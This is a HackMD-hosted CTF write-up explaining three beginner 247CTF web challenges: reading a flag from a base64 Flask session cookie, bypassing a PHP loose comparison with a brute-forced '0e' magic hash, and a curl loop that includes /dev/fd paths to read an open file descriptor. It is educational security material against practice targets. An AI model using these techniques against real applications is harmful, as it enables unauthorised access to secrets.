Chivato
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    1
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # 247CTF Web CTF Writeups 247CTF is an amazing platform that provides CTF challenges that are available 24/7, with categories ranging from web, to binary exploitation, and from networking to cryptography. It’s personally one of my favourite platforms, and it is extremely entertaining / educational. In this post I will be going through three of the easier web challenges with in depth explanations of how each one is exploited / why it is possible. I am hoping this brief post will help get more players involved with the platform, since I think it is massively underrated, and people just need to take that initial step into the world of CTFs. ## SECURED SESSION This challenge was fairly simple, and was mainly to introduce users to how basic flask applications work, but also makes the player look into how the flask cookies are encoded and stored. We start off with the following source code (I have commented it to help make it more understandable): ```python= import os # Import the OS module from flask import Flask, request, session # Import the required parts of the flask module from flag import flag # Import the custom module used to stored the flag, so that user's can't read the flag from the source code app = Flask(__name__) # Define "app" as a flask app app.config['SECRET_KEY'] = os.urandom(24) # Make the session secret key extremely hard to guess / crack* def secret_key_to_int(s): # Define the secret_key_to_int function and expect one parameter try: secret_key = int(s) # Try to convert the "s" parameter to an integer except ValueError: secret_key = 0 # If error is hit then set the secret key to 0 return secret_key # Return the secret key @app.route("/flag") # Define what to do when /flag is accessed def index(): secret_key = secret_key_to_int(request.args['secret_key']) if 'secret_key' in request.args else None session['flag'] = flag # Set the flag in the session cookie if secret_key == app.config['SECRET_KEY']: # If you can guess the secret key then return the flag return session['flag'] else: return "Incorrect secret key!" # Return string if secret key is wrong @app.route('/') # Define what to do when the / route is accessed def source(): return """ %s """ % open(__file__).read() # Return this source code if __name__ == "__main__": app.run() # Run the app ``` It may seem complex, but this is where you need to take absolutely everything into account, and study what each part does. about 98% of this code is just a red herring. It starts the app in the app.run() bit, this will basically just run the webapp and wait for our request to arrive. Nothing much happens when we hit "/", except the source code is displayed to us, so we can move on from that bit, and study the other endpoint (/flag). ```python= @app.route("/flag") def index(): secret_key = secret_key_to_int(request.args['secret_key']) if 'secret_key' in request.args else None session['flag'] = flag if secret_key == app.config['SECRET_KEY']: return session['flag'] else: return "Incorrect secret key!" ``` So when this is accessed, set the secret_key to be the secret key converted to an int with the custom function if the request argument is set, else do nothing. This is part of the red herring, we can ignore it and move past to the next line. The flag we imported at the start of the script is then set into our session cookie, in the name pair called "flag". This is the important part. We know that session cookies are set in our local browser, meaning that we now have the encoded version of the flag stored in our local browser (the value of the flag was put in our session cookie here: `session['flag'] = flag`). Let's look in the dev tools and see if we can find it (to access dev tools simply press F12, or access the web console from the small menu in the top left). Bingo, in the tab called "storage" we have our cookies for this webpage (make sure you hit the "/flag" endpoint before checking for the cookies, since you need to trigger the flag being stored in the cookie). The specific cookie we are interested in is called "session", and it seems to have the distinguishable base64 encoded `{"` start (eyJ). You don't need to know this, it is just something I recognised after seeing a lot of b64 encoded json payloads in other CTFs. Since we recognised that all the characters in the cookie seem to range from `a-z`,`A-Z`,`0-9` alongside "+" and "/", with a possibility of "=" at the end for padding (this isn't always the case), we know that it is indeed base64. We can simply copy and paste this session cookie into a base64 decoder online (https://www.base64decode.org/), or we can use the base64 binary on our linux machine: ``` chiv@Dungeon:~$ echo "eyJmbGFnIjp7IiBiIjoiTWpRM1ExUkdlMlJoT0RBM09UVm1PR0UxWTJGaU1tVXdNemRrTnpNNE5UZ3dOMkk1WVRreGZRPT0ifX0.XlRvbg.sBNAS_F_IUh0zIXDE5eiZf6q9Sw" | base64 -d {"flag":{" b":"WW91IGdvdHRhIHRyeSB0aGUgY2hhbGxlbmdlIHlvdXJzZWxmIDpQ"}}base64: invalid input chiv@Dungeon:~$ ``` For clarification, the reason the binary couldn't interpret the part after the "." in the cookie is that the part following the "." is the signature, which is not base64 encoded (hence the "\_", underscores are not used in B64 encoded strings). Great, so we can see the name pair value for the flag, and the flag seems to be encoded once again, in the same format as the first string, leading me to believe it is base64. We just need to base64 decode the inner string, and we obtain the flag. ## COMPARE THE PAIR Right, a PHP loose comparison challenge. Let's get to it I guess. We start off with the following source code, extremely simple (commented to make it more understandable): ```php= <?php require_once('flag.php'); # Import the flag value $password_hash = "0e902564435691274142490923013038"; # Set the hash of the password we will compare our own to $salt = "f789bbc328a3d1a3"; # Set the salt for the inputted password (this will be appended to our password and then md5 hashed) if(isset($_GET['password']) && md5($salt . $_GET['password']) == $password_hash){ # Compare the md5 of the salt string + our inputted password to the password hash stored at "$password_hash" echo $flag; # If true is returned the give the flag } echo highlight_file(__FILE__, true); # Echo the source ?> ``` The whole vulnerability for this challenge comes into play when there is a loose comparison (\=\=) in use over a strict comparison (\=\=\=). When a loose comparison is used (\=\=), only the value is checked, whereas, with a strict comparison (\=\=\=), both the type and the value are checked, so if a string and an integer are compared, it will return false (bare in mind an empty response means False): ``` php > echo "22" == 22; 1 php > echo "22" === 22; php > ``` Cool, so we know how it is vulnerable, now let's take a look at that hash: `0e902564435691274142490923013038`. It definitely doesn't look like a normal hash, the only letter in the whole md5 is the "e" near the start. After some research on PHP type juggling, we come across an amazing pdf by OWASP that happens to talk about our exact case (see references). Specifically this part: ``` TRUE: "0e12345" == "0e54321" TRUE: "0e12345" <= "1" TRUE: "0e12345" == "0" TRUE: "0xF" == "15" ``` Cool, so we can see from the first example that anything that starts with "0e", followed strictly by only digits will return True. So we need to find a string, that when combined with the salt, and md5 hashed, it returns "0e" + 30 digits. For this I made a very basic python script that runs through all combinations of length 1-10 until it finds a string that fits our requirements. ```python= from itertools import product import hashlib # Import the modules for x in range(0, 10): # Iterate through the lengths for combo in product("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", repeat=x): # For each combination in this alphabet with this length result = hashlib.md5("f789bbc328a3d1a3" + ''.join(combo)).hexdigest() # Generate the result if result.startswith("0e") and result[2:].isdigit(): # Check if result matches our requirements print "f789bbc328a3d1a3" + ''.join(combo) # If it does print out the string else: pass #If not pass ``` Which outputs: ``` chiv@Dungeon:~$ python hash.py f789bbc328a3d1a3abr1R hashes to: 0e918704785736777877278345014851 ``` Cool, so it seems to have found a valid string `f789bbc328a3d1a3abr1R`, this is our salt (f789bbc328a3d1a3) appended to our randomly generated string (abr1R), and then md5 hashed. Let's try it on the website. Nice, by removing the salt from our input, we can pass the password GET parameter and obtain the flag. ## FORGOTTEN FILE POINTER Finally, we have another PHP challenge, this concept is very simple, but at the same time quite interesting. We start of with the following source code (commented by myself to help make it more understandable): ```php= <?php $fp = fopen("/tmp/flag.txt", "r"); # Open the flag file and read it's contents if($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['include']) && strlen($_GET['include']) <= 10) { # If the request method is GET and the include GET parameter is set and the length of the value of said GET param is under or equal to 10 then include the file include($_GET['include']); } fclose($fp); # Close the flag.txt file echo highlight_file(__FILE__, true); # Echo this sourcecode ?> ``` For this challenge it is fairly obvious what we need to do, find a file path that we can include which takes up less than 11 characters, which holds the value of the flag.txt file. One of my favourite things about Linux is the idea that "everything is a file". I won't go into too much detail in this, but the name explains pretty well what is meant by this, in Linux, everything is stored as a file somehow. For example /proc is sometimes referred to as a process information pseudo-file system. It doesn't contain 'real' files but runtime system information. Knowing this, and knowing that the contents of flag.txt are stored in a file somewhere on the server, we can look into where abouts the contents are stored in the raw linux filesystem. I came accross this PHP bug while looking into how the file descriptors work: https://bugs.php.net/bug.php?id=53465 In the report, they seem to try and access the contents of the file via /dev/fd/\<descriptor\>. If we can figure out the descriptor, then we can get the contents of the flag, we can check the length of the path to see how far we can test: ``` chiv@Dungeon:~$ echo -ne "/dev/fd/1" | wc -c 9 chiv@Dungeon:~$ echo -ne "/dev/fd/99" | wc -c 10 chiv@Dungeon:~$ ``` Nice so we can test up to descriptor 99, a simple bash for i in $(seq 0 99) loop combined with curl should do the trick. ```bash for i in $(seq 0 99); do echo; echo "Testing fd $i"; curl -s https://CUSTOMSUBDOMAIN.247ctf.com/?include=/dev/fd/$i | grep 247; done ``` Bingo, we get fd 10 holds the contents of the flag. ## Summary I hope this clarified some concepts regarding Linux file systems, PHP type juggling and flask web applications. If anyone has any questions feel free to contact me at https://twitter.com/SecGus. ## References: * https://stackoverflow.com/questions/47514695/whats-the-difference-between-os-urandom-and-random * https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully